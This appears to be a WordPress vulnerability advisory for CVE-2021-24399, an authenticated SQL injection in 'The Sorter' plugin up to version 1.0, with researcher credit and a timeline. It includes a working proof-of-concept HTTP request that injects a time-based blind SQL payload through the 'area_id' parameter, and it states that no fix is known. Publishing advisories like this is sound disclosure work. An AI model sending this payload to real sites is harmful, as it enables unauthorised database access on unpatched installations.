The Sorter <= 1.0 – Authenticated SQL Injection | CVE 2021-24399 | Plugin Vulnerabilities

Description

The check_order function of the plugin uses an `area_id` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

GET /wp-admin/admin.php?page=the_sorter_areas&area_id=1%20AND%20(SELECT%207667%20FROM%20(SELECT(SLEEP(5)))DWBj) HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

Affects Plugins

No known fix

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-the-sorter/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID

f7af0795-f111-4acc-9b1e-63cae5862f8b

Timeline

Publicly Published

2021-08-22 (about 4 years ago)

Added

2021-08-23 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

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